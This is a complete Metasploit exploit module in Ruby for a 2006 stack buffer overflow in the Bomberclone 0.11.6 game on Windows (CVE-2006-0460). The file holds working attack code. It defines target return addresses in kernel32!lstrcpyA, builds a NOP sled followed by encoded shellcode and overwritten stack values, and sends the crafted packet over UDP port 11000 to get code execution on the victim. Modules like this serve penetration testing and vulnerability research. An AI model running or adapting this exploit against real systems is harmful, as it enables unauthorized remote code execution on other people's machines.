`## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Bomberclone 0.11.6 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Bomberclone 0.11.6 for Windows. The return address is overwritten with lstrcpyA memory address, the second and third value are the destination buffer, the fourth value is the source address of our buffer in the stack. This exploit is like a return in libc. ATTENTION The shellcode is exec ONLY when someone try to close bomberclone. }, 'Author' => 'Jacopo Cervini ', 'Version' => '$Revision$', 'References' => [ ['CVE', '2006-0460'], ['OSVDB', '23263'], ['BID', '16697'], ['URL', 'http://www.frsirt.com/english/advisories/2006/0643' ], ], 'Payload' => { 'Space' => 344, 'BadChars' => "\x00" }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP2 Italian', { 'Ret' => 0x7c80c729, } ], # kernel32!lstrcpyA ['Windows 2000 SP1 English', { 'Ret' => 0x77e85f08, } ], # kernel32!lstrcpyA ['Windows 2000 SP1 English', { 'Ret' => 0x77e95e8b, } ], # kernel32!lstrcpyA ], 'Privileged' => false, 'DisclosureDate' => 'Feb 16 2006' )) register_options([ Opt::RPORT(11000) ], self.class) end def exploit connect_udp pattern = make_nops(421) pattern << payload.encoded pattern << [ target.ret ].pack('V') pattern << "\x04\xec\xfd\x7f" * 2 pattern << "\xa4\xfa\x22\x00" request = "\x00\x00\x00\x00\x38\x03\x41" + pattern + "\r\n" print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...") udp_sock.put(request) udp_sock.get handler(udp_sock) disconnect_udp end end `

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